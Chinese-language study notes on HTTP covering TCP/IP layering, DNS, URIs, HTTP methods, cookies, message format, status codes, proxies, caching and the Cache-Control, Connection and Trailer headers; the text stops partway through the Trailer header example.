第一章了解HTTP

一、HTTP概要

1. HTTP发展史

其中HTTP2.0是基于Google的SPDY协议创建的，更注重性能改善，但还未普及。 HTTP3.0是基于Google的QUIC协议，也是将来的发展方向。

🤔：推动HTTP发展的原动力是什么？

🙋：从历史进程的角度来看，是互联网的用户在不断推动协议的发展。从刚开始只有文本到后来有了超文本。传输内容扩展后又增加了对网络传输速度的要求，便出现了持久连接、缓存机制等。再到后面开始考虑安全问题，于是便有了加密通信技术。一切都是以用户的需求为导向，用户需求要越来越高，协议就越来越高级，越来越完善。

2. HTTP含义

从“协议”层面分析

HTTP是一个用在计算机世界里的协议。它使用计算机能够理解的语言确立了一种计算机之间交流通信的规范，以及相关的各种控制和错误处理方式。

从“传输”层面分析

HTTP是一个在计算机世界里专门用来在两点之间传输数据的约定和规范。

从“超文本”层面分析

所谓“文本”（Text），就表示HTTP传输的不是TCP/UDP这些底层协议里被切分的杂乱无章的二进制包（datagram），而是完整的、有意义的数据，可以被浏览器、服务器这样的上层应用程序处理。

所谓“超文本”，就是“超越了普通文本的文本”，它是文字、图片、音频和视频等的混合体，最关键的是含有“超链接”，能够从一个“超文本”跳跃到另一个“超文本”，形成复杂的非线性、网状的结构关系。

综上所述，HTTP是一个在计算机世界里专门在两点之间传输文字、图片、音频、视频等超文本数据的约定和规范。

3. HTTP相关概念

CDN：全称是“Content Delivery Network”，翻译过来就是“内容分发网络”。它应用了HTTP协议里的缓存和代理技术，代替源站响应客户端的请求。
爬虫：HTTP协议没有规定用户代理必须是“真正的人类”，也可以是“机器人”，这些“机器人”的正式名称就叫做“爬虫”（Crawler），实际上是一种可以自动访问 Web资源的应用程序。
浏览器：HTTP协议里的请求方，即User Agent。
服务器：HTTP协议里的应答方，常用的有Apache和Nginx。

🤔：CDN在对待浏览器和爬虫时会有差异吗？

🙋：CDN的工作是把网络的静态资源就近分配给用户，加速网络信息的获取速度。其本质上也是web服务器，所以是可以正确区分浏览器和爬虫的。当CDN认为爬虫影响了服务，就可以反爬虫；如果CDN认为爬虫也是源站的正常流量，就不反爬虫。

4. HTTP相关协议

TCP/IP：TCP/IP协议实际上是一系列网络通信协议的统称，其中最核心的两个协议是TCP和IP，其他的还有UDP、ICMP、ARP等等，共同构成了一个复杂但有层次的协议栈。这个协议栈有四层，最上层是“应用层”，最下层是“链接层”，TCP和IP则在中间：TCP属于“传输层”，IP属于“网际层”。
IP协议：Internet Protocol，主要目的是解决寻址和路由问题，以及如何在两点间传送数据包。
TCP协议：Transmission Control Protocol，意思是“传输控制协议”，它位于IP协议之上，基于IP协议提供可靠的、字节流形式的通信，是HTTP协议得以实现的基础。
DNS：域名解析。
URI/URL：URI（Uniform Resource Identifier），中文名称是统一资源标识符，使用它就能够唯一地标记互联网上资源。URL（Uniform Resource Locator），统一资源定位符，也就是我们俗称的“网址”，它实际上是URI的一个子集。
HTTPS：全称是“HTTP over SSL/TLS”，也就是运行在SSL/TLS协议上的 HTTP，相当于“HTTP+SSL/TLS+TCP/IP”
代理：HTTP传输过程中的“中转站”，可以实现缓存加速、负载均衡等功能

5. 网络分层概念

TCP/IP分层模型

“分层”：把复杂的网络通信划分出多个层次，再给每一个层次分配不同的职责。用“分而治之”的思想把一个“大麻烦”拆分成了数个“小麻烦”，从而解决了网络通信的难题。

第一层 ➡️ 链接层link layer

负责在以太网、WiFi这样的底层网络上发送原始数据包，工作在网卡这个层次，使用 MAC地址来标记网络上的设备，所以有时候也叫MAC层。

第二层 ➡️ 网际层/网络互连层internet layer

IP协议就处在这一层，在“链接层”的基础上，用IP地址取代MAC地址，把许许多多的局域网、广域网连接成一个虚拟的巨大网络，在这个网络里找设备时只要把IP地址再“翻译”成MAC地址就可以了。

第三层 ➡️ 传输层transport layer

保证数据在IP地址标记的两点之间“可靠”地传输，是TCP协议工作的层次，另外还有它的一个“小伙伴”UDP。

第四层 ➡️ 应用层application layer

包含各种面向具体应用的协议，如Telnet、SSH、FTP、SMTP、HTTP等

🤔：TCP和UDP的区别是什么？

🙋：TCP是一个有状态的协议，需要先与对方建立连接然后才能发送数据，发送的数据是连续的“字节流”，有先后顺序，而且保证数据不丢失不重复。UDP无状态，不用事先建立连接就可以任意发送数据，发送的数据是分散的小数据包，按照顺序发送，但是乱序接收，且不保证数据一定会发到对方。

OSI网络分层模型

OSI全称是“开放式系统互联通信参考模型”（Open System Interconnection Reference Model），OSI模型分成了七层，并为每一层标记了明确了编号L1-L7。

第一层 ➡️ 物理层：网络的物理形式，例如电缆、光纤、网卡、集线器等

第二层 ➡️ 数据链路层：相当于TCP/IP的链接层

第三层 ➡️ 网络层：相当于TCP/IP里的网际层

第四层 ➡️ 传输层：相当于TCP/IP里的传输层

第五层 ➡️ 会话层：维护网络中的连接状态，即保持会话和同步

第六层 ➡️ 表示层：把数据转换为合适、可理解的语法和语义

第七层 ➡️ 应用层：面向具体的应用传输数据

两种模型的关系

“四层负载均衡”：是指工作在传输层上，基于TCP/IP协议的特性，例如IP地址、端口号等实现对后端服务器的负载均衡。

“七层负载均衡”：是指工作在应用层上，基于HTTP协议，解析HTTP报文里的URI、主机名、资源类型等数据，再用适当的策略转发给后端服务器。

6. 网络传输流程

发送数据：通过协议栈逐层向下，每一层都添加本层的专有数据，层层打包，然后通过下层发送出去。

接收数据：与发送数据相反，从下往上穿过协议栈，逐层拆包，每层去掉本层的专有头，上层就会拿到自己的数据。

🤔：如何区分四层和七层？

🙋：凡是由操作系统负责处理的就是四层或四层以下；凡是需要由应用程序（也就是你自己写代码）负责处理的就是七层。

7. DNS域名解析

DNS的核心系统是一个三层的树状、分布式服务，基本对应域名的结构：

根域名服务器（Root DNS Server）：管理顶级域名服务器，返回“com”“net”“cn”等顶级域名服务器的IP地址；
顶级域名服务器（Top-level DNS Server）：管理各自域名下的权威域名服务器，比如com顶级域名服务器可以返回apple.com域名服务器的IP地址；
权威域名服务器（Authoritative DNS Server）：管理自己域名下主机的IP地址，比如apple.com权威域名服务器可以返回 www.apple.com 的IP地址

例如，你要访问www.apple.com，就要进行下面的三次查询：

第一步：访问根域名服务器，会得到“com”顶级域名服务器的地址；

第二步：访问“com”顶级域名服务器，会得到“apple.com”域名服务器的地址；

第三步：访问“apple.com”域名服务器，会得到了www.apple.com”的地址

8. 负载均衡

第一种方式：因为域名解析可以返回多个IP地址，所以一个域名可以对应多台主机，客户端收到多个IP地址后，就可以自己使用轮询算法依次向服务器发起请求，实现负载均衡。
第二种方式：域名解析可以配置内部的策略，返回离客户端最近的主机，或者返回当前服务质量最好的主机，这样在DNS端把请求分发到不同的服务器，实现负载均衡。

二、 HTTP基础

1. 使用IP地址访问服务器

浏览器从地址栏的输入中获得服务器的IP地址和端口号
浏览器用TCP的三次握手与服务器建立连接
浏览器向服务器发送拼好的报文
服务器收到报文后处理请求，同样拼好报文再发给浏览器
浏览器解析报文，渲染输出页面

2. 使用域名访问服务器

浏览器根据域名获取对应的ip地址，浏览器缓存 ➡️ 操作系统缓存 ➡️ 本机域名解析文件hosts
浏览器从地址栏的输入中获得服务器的IP地址和端口号
浏览器用TCP的三次握手与服务器建立连接
浏览器向服务器发送拼好的报文
服务器收到报文后处理请求，同样拼好报文再发给浏览器
浏览器解析报文，渲染输出页面

第二章 TCP/IP 协议族

一. 协议总称

计算机与网络设备要相互通信，双方就必须基于相同的方法。比如如何探测到通信目标、由哪一边先发起通信、使用哪种语言进行通信、怎样结束通信、不同的硬件与操作系统之间怎么通信等，所有的这一切都需要一种规则，这种规则被称为协议（protocol）

协议中存在各式各样的内容，从电缆的规格到IP地址的选定方法、寻找异地用户的方法、双方建立通信的顺序、Web页面显示需要处理的步骤等等。

大多数人认为TCP/IP就是把所有与互联网相关联的协议集合起来，也有人认为TCP/IP是指TCP和IP这两种协议，还有一部分人认为TCP/IP 是在IP协议的通信过程中，使用到的协议族的统称。

二. 分层管理

TCP/IP协议族最重要的一点就是分层，将TCP/IP协议族按层次分为应用层、传输层、网络层、数据链路层。

1. 分层管理的优点

某个需求改变后，只需要替换对应层即可，不需要整体替换。只要把各层之间的接口部分规划好，每个层内部的设计就可以自由改动
各层内部设计相对简单，例如应用层只考虑分派给自己的任务，不需要考虑对方的传输路线、是否能确保传输送达等问题

2. 协议层分类

1）应用层

应用层决定了向用户提供应用服务时通信的活动。TCP/IP协议族内预存了各类通用的应用服务，比如FTP（File Transfer Protocol，文件传输协议）、DNS（Domain Name System，域名系统）、HTTP协议

2）传输层

传输层对上层应用层，提供处于网络连接中的两台计算机之间的数据传输。在传输层有两个性质不同的协议：TCP（Transmission Control Protocol，传输控制协议）和 UDP（User Data Protocol，用户数据报协议）

3）网络层

网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数据单位，该层规定了通过怎样的路径（传输路线）到达对方计算机，并把数据包传送给对方。与对方计算机之间通过多台计算机或网络设备进行传输时，网络层所起的作用就是在众多的选项内选择一条传输路线

4）数据链路层

用来处理连接网络的硬件部分。包括控制操作系统、硬件的设备驱动、NIC（Network Interface Card，网络适配器，即网卡）、光纤等物理可见部分（还包括连接器等一切传输媒介），硬件上的范畴均在链路层的作用范围之内

三. 通信传输流

利用TCP/IP协议族进行网络通信时，会通过分层顺序与对方进行通信。发送端从应用层往下走，接收端则从链路层往上走。

以HTTP举例：

首先作为发送端的客户端在应用层（HTTP 协议）发出一个想看某个Web页面的HTTP请求
然后在传输层（TCP协议）把从应用层处收到的数据（HTTP请求报文）进行分割，并在各个报文上打上标记序号及端口号后转发给网络层
在网络层（IP协议）增加作为通信目的地的MAC地址后转发给链路层
接收端的服务器在链路层接收到数据，按序往上层发送，一直到应用层，当传输到应用层，才算真正接收到由客户端发送过来的HTTP请求

发送端在层与层之间传输数据时，每经过一层时必定会被打上一个该层所属的首部信息。反之，接收端在层与层传输数据时，每经过一层时会把对应的首部消去。这种把数据信息包装起来的做法称为封装（encapsulate）

四. 负责传输的IP协议

按层次分，IP（Internet Protocol）网际协议位于网络层，几乎所有使用网络的系统都会用到IP协议，TCP/IP协议族中的IP指的就是网际协议。

IP协议的作用是把各种数据包传送给对方，要确保数据能够传送给对方，则需要满足各类条件，其中两个重要的条件是IP地址和MAC地址。

IP地址指明了节点被分配到的地址，MAC地址是指网卡所属的固定地址。IP地址可以和MAC地址进行配对，其中IP地址可变换，但MAC地址基本上不会更改。

使用ARP协议凭借MAC地址进行通信

IP间的通信依赖MAC地址。在网络上，通信的双方在同一局域网（LAN）内的情况是很少的，通常是经过多台计算机和网络设备中转才能连接到对方。而在进行中转时，会利用下一站中转设备的MAC地址来搜索下一个中转目标。这时，会采用ARP协议（Address Resolution Protocol）。ARP是一种用以解析地址的协议，根据通信方的IP地址就可以反查出对应的MAC地址。

五. 确保可靠性的TCP协议

按层次分，TCP位于传输层，提供可靠的字节流服务。所谓的字节流服务（Byte Stream Service）是指为了方便传输，将大块数据分割成以报文段（segment）为单位的数据包进行管理。而可靠的传输服务是指，能够把数据准确可靠地传给对方。一言以蔽之，TCP协议为了更容易传送大数据才把数据分割，而且TCP协议能够确认数据最终是否送达到对方。

确保数据能到达目标

为了准确无误地将数据送达目标处，TCP协议采用了三次握手（three-way handshaking）策略。用TCP协议把数据包送出去后，TCP不会对传送后的情况置之不理，它一定会向对方确认是否成功送达。握手过程中使用了 TCP的标志（flag）——SYN（synchronize）和ACK（acknowledgement）。

发送端首先发送一个带SYN标志的数据包给对方
接收端收到后，回传一个带有SYN/ACK标志的数据包以示传达确认信息
发送端再回传一个带ACK标志的数据包，代表“握手”结束

若在握手过程中某个阶段莫名中断，TCP协议会再次以相同的顺序发送相同的数据包

确保当前数据完全被接收后再关闭连接，TCP协议采用四次挥手策略

第一次挥手

客户端向服务器发送一个数据包，主动断开连接（序列号 X）。客户端仍可接收数据

第二次挥手

服务器向客户端发送确认包，表明服务器已经收到客户端的报文（序列号X + 1）。服务器告知客户端数据没有发送完毕，暂时不能进行第三次挥手

第三次挥手

服务器向客户端发送数据包和确认包，用来停止向客户端发送数据（序列号Y）。服务器告知客户端数据已发送完毕，可以断开链接

第四次挥手

客户端向服务器发送一个响应数据包（序列号Y + 1 ），规定时间后发送确认包并进入关闭状态

六. 负责域名解析的DNS服务

DNS（Domain Name System）服务是和HTTP协议一样位于应用层的协议。它提供域名到IP地址之间的解析服务，如通过域名查找IP地址，或逆向从IP地址反查域名。

计算机既可以被赋予IP地址，也可以被赋予主机名和域名，比如 www.hackr.jp，DNS服务就是为了解决计算机对域名的理解。

七. 协议与HTTP的关系

八. URI和URL

URI（统一资源标识符）是Uniform Resource Identifier的缩写。

Uniform：规定统一的格式处理多种不同类型的资源，不用根据上下文环境来识别资源指定的访问方式
Resource：资源的定义是“可标识的任何东西”，不仅是文档文件、图像或服务等
Identifier：可标识的对象，也称为标识符

URI就是由某个协议方案表示的资源的定位标识符，协议方案是指访问资源所使用的协议类型名称，如采用HTTP协议时，协议方案就是http，除此之外，还有ftp、mailto、telnet、file等。

URI用字符串标识某一互联网资源，而URL表示资源的地点（互联网上所处的位置），所以URL是URI的子集。

协议方案名：访问资源时指定的协议类型
登录信息（认证）：可选项，指定用户名和密码，从服务端获取资源时必要的登录信息（身份认证）
服务器地址：指定待访问的服务器地址，地址可以是类似hackr.jp这种DNS 可解析的名称，也可以是192.168.1.1这类IPv4地址名，还可以是 [0:0:0:0:0:0:0:1] 这样用方括号括起来的IPv6地址名
服务器端口号：可选项，指定服务器连接的网络端口号，若省略则自动使用默认端口号
带层次的文件路径：指定服务器上的文件路径，用于定位特指的资源
查询字符串：可选项，针对已指定的文件路径内的部分资源，可以使用查询字符串传入任意参数
片段标识符：可选项，通常用于标记出已获取资源中的子资源（文档内的某个位置）

第三章 HTTP协议

一. 通信

HTTP协议和TCP/IP协议族内的其他众多的协议相同，用于客户端和服务器之间的通信。

二. 请求与响应

HTTP协议规定，请求从客户端发出，最后服务器端响应该请求并返回。换句话说，肯定是先从客户端开始建立通信的，服务器端在没有接收到请求之前不会发送响应

请求报文是由请求方法、请求URI、协议版本、可选的请求首部字段和内容实体构成的。

响应报文基本上由协议版本、状态码（表示请求成功或失败的数字代码）、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成。

三. 不保存状态

HTTP是一种不保存状态，即无状态（stateless）协议。HTTP协议自身不对请求和响应之间的通信状态进行保存。也就是说在HTTP这个级别，协议对于发送过的请求或响应都不做持久化处理

使用HTTP协议，每当有新的请求发送时，就会有新响应产生，协议本身并不保留之前一切的请求或响应报文的信息。这是为了更快地处理大量事务，确保协议的可伸缩性，而特意把HTTP协议设计成如此简单的。 HTTP/1.1虽然是无状态协议，但为了实现期望的保持状态功能，于是就引入了Cookie。

四. URI定位资源

HTTP协议使用 URI定位互联网上的资源，当客户端发送请求时，URI需要将请求报文中的请求URI包含在内

五. HTTP方法

通过HTTP方法告知服务器意图

1. GET获取资源

GET方法用来请求访问已被URI识别的资源，指定的资源经服务器解析后返回响应内容。如果请求的资源是文本，就保持原样返回；如果是像CGI（Common Gateway Interface，通用网关接口）那样的程序，则返回经过执行后的输出结果

2. POST传输实体主体

POST方法用来传输实体的主体，而不是获取响应的主体内容

3. PUT传输文件

PUT方法用来传输文件。就像FTP协议的文件上传一样，要求在请求报文的主体中包含文件内容，然后保存到请求URI指定的位置。

但是HTTP/1.1的PUT方法自身不带验证机制，任何人都可以上传文件 , 存在安全性问题。解决办法有配合Web应用程序的验证机制、架构设计采用REST（Representational State Transfer，表征状态转移）标准等。

4. HEAD获得报文首部

HEAD方法和GET方法一样，只是不返回报文主体部分。用于确认URI的有效性及资源更新的日期时间等。

5. DELETE删除文件

DELETE方法用来删除文件，是与PUT相反的方法。DELETE方法按请求URI删除指定的资源。但是HTTP/1.1 的DELETE方法本身和PUT方法一样不带验证机制，解决方法有配合Web应用程序的验证机制、遵守REST标准Web页面等。

6. OPTIONS询问支持的方法

OPTIONS方法用来查询如果请求URI指定的资源有哪些支持的方法

7. TRACE追踪路径

TRACE方法是让Web服务器端将之前的请求通信返回给客户端的方法。

发送请求时，在Max-Forwards首部字段中填入数值，每经过一个服务器端就将该数字减1，当数值刚好减到0时，就停止继续传输，最后接收到请求的服务器端则返回状态码200 OK的响应。

客户端通过TRACE方法可以查询发送出去的请求是怎样被加工修改/篡改的。这是因为，请求想要连接到的源目标服务器可能会通过代理中转，TRACE方法就是用来确认连接过程中发生的一系列操作。

但是TRACE方法容易引发XST（Cross-Site Tracing，跨站追踪）攻击，所以几乎不用。

8. CONNECT要求用隧道协议连接代理

CONNECT方法要求在与代理服务器通信时建立隧道，实现用隧道协议进行TCP通信。主要使用SSL（Secure Sockets Layer，安全套接层）和TLS（Transport Layer Security，传输层安全）协议把通信内容加密后经网络隧道传输。

HTTP方法支持情况

方法	说明	支持的HTTP协议版本
GET	获取资源	HTTP1.0、HTTP1.1
POST	传输实体主体	HTTP1.0、HTTP1.1
PUT	传输文件	HTTP1.0、HTTP1.1
HEAD	获取报文首部	HTTP1.0、HTTP1.1
DELETE	删除文件	HTTP1.0、HTTP1.1
OPTIONS	询问支持的方法	HTTP1.1
TRACE	追踪路径	HTTP1.1
CONNECT	要求用隧道协议连接代理	HTTP1.1
LINK	建立和资源之间的联系	HTTP1.0
UNLINK	断开连接关系	HTTP1.0

六. 持久连接

HTTP协议的初始版本中，每进行一次HTTP通信就要断开一次TCP连接。

HTTP/1.1和一部分的HTTP/1.0提出了持久连接（HTTP Persistent Connections，也称为HTTP keep-alive或HTTP connection reuse）的方法，持久连接的意思是只要任意一端没有明确提出断开连接，则保持TCP连接状态，HTTP 1.1中，所有的连接默认都是持久连接。

持久连接的好处在于减少了TCP连接的重复建立和断开所造成的额外开销，减轻了服务器端的负载。HTTP请求和响应可以更早地结束，缩短了Web页面的显示时间。

管线化发送请求

持久连接使得多数请求以管线化（pipelining）方式发送，即不用等待响应页可以直接发送下一个请求。

七. Cookie状态管理

HTTP是无状态协议，它不对之前发生过的请求和响应的状态进行管理，为了解决这个问题，引入了Cookie技术，Cookie通过在请求和响应报文中写入Cookie信息来控制客户端的状态。

Cookie会根据从服务器端发送的响应报文内的Set-Cookie 首部字段信息，通知客户端保存Cookie。当下次客户端再往该服务器发送请求时，客户端会自动在请求报文中加入Cookie值。服务器端发现客户端发送过来的Cookie后，会去检查究竟是从哪一个客户端发来的连接请求，通过对比服务器上的记录得到之前的状态信息

没有Cookie信息状态下的请求：

// 请求报文 
GET /reader/ HTTP/1.1 
Host: hackr.jp //首部字段内没有Cookie的相关信息

// 响应报文 
HTTP/1.1 200 OK 
Date: Thu, 12 Jul 2012 07:12:20 GMT 
Server: Apache 
＜Set-Cookie: sid=1342077140226724; path=/; expires=Wed, 10-Oct-12 07:12:20 GMT＞ 
Content-Type: text/plain; charset=UTF-8

第2次以后（存有 Cookie 信息状态）的请求

// 请求报文 
GET /image/ HTTP/1.1 
Host: hackr.jp 
Cookie: sid=1342077140226724

第四章 HTTP报文

用于HTTP协议交互的信息被称为HTTP报文，请求端的HTTP报文叫做请求报文，响应端的HTTP报文叫做响应报文。HTTP报文本身是由多行（用 CR+LF 作换行符）数据构成的字符串文本。

一. 报文结构

请求行：包含请求的方法、请求URI 、HTTP版本
状态行：包含响应状态码、原因短语、HTTP版本
首部字段：包含表示请求和响应的各种条件和属性的各类首部，一般分为通用首部、请求首部、响应首部和实体首部
其他：HTTP的RFC里未定义的首部（Cookie 等）

二. 数据传输

HTTP在传输数据时可以按照数据原貌直接传输，也可以在传输过程中通过编码提升传输速率。编码传输能有效地处理大量的访问请求，但是同时会占用计算机的CPU资源。

报文主体：HTTP通信中的基本单位，由8位组字节流组成，通过HTTP通信传输。

实体主体：作为请求或响应的有效载荷数据（补充项）被传输，其内容由实体首部和实体主体组成。

HTTP：报文的主体用于传输请求或响应的实体主体，一般情况下报文主体就等于实体主体。当传输中进行编码操作时，实体主体的内容会发生变化，则实体主体与报文主体就会产生差异。

内容编码：指应用在实体内容上的编码格式，并保持实体信息原样压缩，内容编码后的实体由客户端接收并负责解码，类似于对传输的实体主体进行压缩。

常用的内容编码：

gzip（GNU zip）
compress（UNIX 系统的标准压缩）
deflate（zlib）
identity（不进行编码）

分块传输编码：

指把实体主体分成多个部分进行传输，使浏览器逐步显示页面的传输功能。其中每一块都会用十六进制标记块的大小，实体主体的最后一块会使用“0(CR+LF)”来标记。分块传输编码的实体主体会由客户端接收和解码，恢复到编码前的实体主体。

三. 范围请求

即可以指定下载的实体范围（Range Request），执行范围请求时，用首部字段 Range来指定资源的byte范围。


Range: bytes=5001-10000

针对范围请求，会返回响应状态码206 Partial Content 的响应报文。对于多重范围的范围请求，响应首部字段Content-Type会标明 multipart/byteranges。如果服务器无法响应范围请求，则会返回状态码200 OK 和完整的实体内容。

四. 内容协商

内容协商是指客户端和服务器端就响应的资源内容进行交涉，然后提供给客户端最为适合的资源。内容协商会以响应资源的语言、字符集、编码方式等作为判断的基准。

五. 响应状态码

状态码的职责是当客户端向服务器端发送请求时，描述返回的请求结果。借助状态码，用户可以知道服务器端是正常处理了请求，还是出现了错误。

状态码如200 OK，以3位数字和原因短语组成，数字中的第一位指定了响应类别，后两位无分类。

	类别	原因短句
1XX	Informational信息性状态码	接收的请求正在处理
2XX	Success成功状态码	请求正常处理完毕
3XX	Redirection重定向状态码	需要进行附加操作以完成请求
4XX	Client Error客户端错误状态码	服务器无法处理请求
5XX	Server Error服务器错误状态码	服务器处理请求出错

2XX 成功

200 OK

表示从客户端发来的请求在服务器端被正常处理了。在响应报文内，随状态码一起返回的信息会因方法的不同而发生改变。比如，使用GET方法时，对应请求资源的实体会作为响应返回；使用HEAD方法时，对应请求资源的实体主体不随报文首部作为响应返回。

204 No Content

表示服务器接收的请求已成功处理，但在返回的响应报文中不含实体的主体部分，不会引起浏览器页面更新。

206 Partial Content

表示客户端进行了范围请求，并且服务器成功执行了这部分的GET请求。响应报文中包含由Content-Range指定范围的实体内容。

3XX 重定向

301 Moved Permanently

永久性重定向，表示请求的资源已被分配了新的URI，以后请求都应使用新的URI。

302 Found

临时性重定向，表示请求的资源已被分配了新的URI，希望用户（本次）能使用新的 URI访问。302状态码代表的资源不是被永久移动，只是临时性质的。

303 See Other

表示由于请求对应的资源存在着另一个URI，应使用GET方法定向获取请求的资源。 303状态码和302 Found 状态码有着相同的功能，但303状态码明确表示客户端应当采用GET方法获取资源，这点与302状态码有区别。

304 Not Modified

服务器端资源未改变，可直接使用客户端未过期的缓存，不包含任何响应的主体部分。

307 Temporary Redirect

临时重定向，该状态码与302 Found 有着相同的含义。当301、302、303响应状态码返回时，几乎所有的浏览器都会把POST改成GET，并删除请求报文内的主体后自动再次发送（标准禁止转换POST请求）。307会遵照浏览器标准，不会从POST变成 GET。

4XX 客户端错误

400 Bad Request

表示请求报文中存在语法错误。当错误发生时，需修改请求的内容后再次发送请求。

401 Unauthorized

表示发送的请求需要有通过HTTP认证（BASIC 认证、DIGEST 认证）的认证信息，若之前已进行过1次请求，则表示用户认证失败。

403 Forbidden

表明对请求资源的访问被服务器拒绝了，例如未获得文件系统的访问授权，访问权限出现某些问题等。

404 Not Found

表明服务器上无法找到请求的资源，例如URI不存在等。

5XX 服务器端错误

500 Internal Server Error

表明服务器端在执行请求时发生了错误，也有可能是Web应用存在的bug或某些临时的故障。

503 Service Unavailable

表明服务器暂时处于超负载或正在进行停机维护，现在无法处理请求。

第五章转发数据的应用程序

一. 代理

代理是一种有转发功能的应用程序，它扮演了位于服务器和客户端“中间人”的角色，接收由客户端发送的请求并转发给服务器，同时也接收服务器返回的响应并转发给客户端。

代理服务器的基本行为就是接收客户端发送的请求后转发给其他服务器。代理不改变请求的URI，会直接发送给前方持有资源的目标服务器。

持有资源实体的服务器被称为源服务器。从源服务器返回的响应经过代理服务器后再传给客户端。

每次通过代理服务器转发请求或响应时，会追加写入Via首部信息

在HTTP通信过程中，可级联多台代理服务器。请求和响应的转发会经过数台类似锁链一样连接起来的代理服务器。转发时，需要附加Via首部字段以标记出经过的主机信息。

代理服务器优点：利用缓存技术（稍后讲解）减少网络带宽的流量、组织内部针对特定网站的访问控制、获取访问日志等。

1. 缓存代理

代理转发响应时，缓存代理（Caching Proxy）会预先将资源的副本（缓存）保存在代理服务器上，当代理再次接收到对相同资源的请求时，就可以不从源服务器那里获取资源，而是将之前缓存的资源作为响应返回。

2. 透明代理

转发请求或响应时，不对报文做任何加工的代理类型被称为透明代理（Transparent Proxy）。反之，对报文内容进行加工的代理被称为非透明代理。

二. 网关

网关是转发其他服务器通信数据的服务器，接收从客户端发送来的请求时，它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉，自己的通信目标是一个网关。

网关的工作机制和代理十分相似，网关可以使通信线路上的服务器提供非HTTP协议服务。

网关可以在客户端与网关之间的通信线路上加密以确保连接的安全，比如，网关可以连接数据库，使用SQL语句查询数据。另外，在Web购物网站上进行信用卡结算时，网关可以和信用卡结算系统联动。

三. 隧道

隧道是在相隔甚远的客户端和服务器两者之间进行中转，并保持双方通信连接的应用程序。

通过隧道的传输，可以和远距离的服务器安全通信。隧道本身是透明的，客户端不用在意隧道的存在。

隧道可按要求建立起一条与其他服务器的通信线路，届时使用SSL等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。

隧道本身不会去解析HTTP请求，请求会保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。

第六章保存资源的缓存

缓存是指代理服务器或客户端本地磁盘内保存的资源副本，利用缓存可减少对源服务器的访问，节省通信流量和通信时间。

缓存服务器是代理服务器的一种，归类在缓存代理类型中。当代理转发从服务器返回的响应时，代理服务器将会保存一份资源的副本。

一. 缓存有效期

当使用缓存资源时，遇到客户端的要求、缓存的有效期等因素，缓存服务器会向源服务器确认资源的有效性，若判断缓存失效，缓存服务器将会再次从源服务器上获取“新”资源。

二. 客户端缓存

缓存不仅可以存在于缓存服务器内，还可以存在客户端浏览器中。以Internet Explorer程序为例，把客户端缓存称为临时网络文件（Temporary Internet File）。

浏览器缓存如果有效，就不会向服务器发送请求，而是直接从本地磁盘内读取资源。当判定浏览器缓存过期后，浏览器会向源服务器确认资源的有效性，若判断浏览器缓存失效，浏览器会再次请求新资源。

第七章 HTTP首部

一. 请求报文

在请求中，HTTP报文由方法、URI、HTTP版本、HTTP首部字段等部分构成

二. 响应报文

在响应中，HTTP报文由 HTTP版本、状态码（数字和原因短语）、HTTP首部字段3部分构成

三. HTTP首部字段

HTTP首部字段是构成HTTP报文的要素之，使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的语言、认证信息等内容。

// 首部字段名: 字段值  
Content-Type: text/html 
Keep-Alive: timeout=15, max=100

通用首部字段（General Header Fields）

请求报文和响应报文两方都会使用的首部

请求首部字段（Request Header Fields）

请求报文中使用的首部，补充了请求的附加内容、客户端信息、响应内容相关优先级等

响应首部字段（Response Header Fields）

响应报文中使用的首部，补充了响应的附加内容

实体首部字段（Entity Header Fields）

请求报文和响应报文的实体中使用的首部，补充了资源内容更新时间等与实体有关的信息

四. HTTP1.1首部字段

通用首部字段

Cache-Control	控制缓存的行为
Connection	逐跳首部、连接的管理
Date	创建报文的日期时间
Pragma	报文指令
Trailer	报文末端的首部一览
Transfer-Encoding	指定报文主体的传输编码方式
Upgrade	升级为其他协议
Via	代理服务器的相关信息
Warning	错误通知

1. Cache-Control

缓存请求指令：

no-cache：强制向源服务器再次验证
no-store：不缓存请求或响应的任何内容
max-age = [ 秒]：响应的最大Age值
max-stale( = [ 秒])：接收已过期的响应
min-fresh = [ 秒]：期望在指定时间内的响应仍有效
no-transform：代理不可更改媒体类型
only-if-cached：从缓存获取资源
cache-extension：新指令标记（token）

缓存响应指令：

public：缓存服务器可向任意客户端提供缓存
private：缓存服务器仅向特定客户端提供缓存
no-cache：缓存前必须先确认其有效性
no-store：不缓存请求或响应的任何内容
no-transform：代理不可更改媒体类型
must-revalidate：可缓存但必须再向源服务器进行确认
proxy-revalidate：要求中间缓存服务器对缓存的响应有效性再进行确认
max-age = [ 秒]：响应的最大 Age 值
s-maxage = [ 秒] ：公共缓存服务器响应的最大 Age 值
cache-extension：新指令标记（token）

Cache-Control: no-cache

客户端发送的请求中包含no-cache指令，表示客户端将不会接收缓存过的响应，“中间”的缓存服务器必须把客户端请求转发给源服务器。

服务器返回的响应中包含no-cache指令，缓存服务器不能对资源进行缓存，源服务器不会对缓存服务器请求中提出的资源有效性进行确认。

Cache-Control: s-maxage=604800（单位 ：秒）

s-maxage指令的功能和max-age指令相同，不同点是s-maxage指令只适用于供多位用户使用的公共缓存服务器，对于向同一用户重复返回响应的服务器来说，该指令没有任何作用。当使用s-maxage指令后，会直接忽略对Expires首部字段及max-age 指令的处理。

Cache-Control: max-age=604800（单位：秒）

客户端发送的请求中包含max-age指令，如果判定缓存资源的缓存时间数值比指定时间的数值更小，那么客户端就接收缓存的资源。当指定max-age值为0，那么缓存服务器通常需要将请求转发给源服务器。

服务器返回的响应中包含max-age指令时，缓存服务器将不对资源的有效性再作确认，而max-age数值代表资源保存为缓存的最长时间。

HTTP/1.1 max-age优先级比Expires高，HTTP/1.0 Expires优先级比max-age高。

2. Connection

控制代理不再转发的首部字段、管理持久连接

Connection: 不再转发的首部字段名 
Connection: close、Keep-Alive

HTTP/1.1版本的默认连接都是持久连接，客户端会在持久连接上连续发送请求。当服务器端想明确断开连接时，则指定Connection首部字段的值为Close。

若connection模式为close，服务器主动关闭TCP连接
若connection模式为keepalive，则该连接会保持⼀段时间，在该时间内可以继续接收请求

3. Trailer

首部字段Trailer会事先说明在报文主体后记录了哪些首部字段，可应用在 HTTP/1.1 版本分块传输编码时。

HTTP/1.1 200 OK 
Date: Tue, 03 Jul 2012 04:40:56 GMT 
Content-Type: text/html ... 
Transfer-Encoding: chunked 
Trailer: Expires 
 ...(报文主体)... 
0 
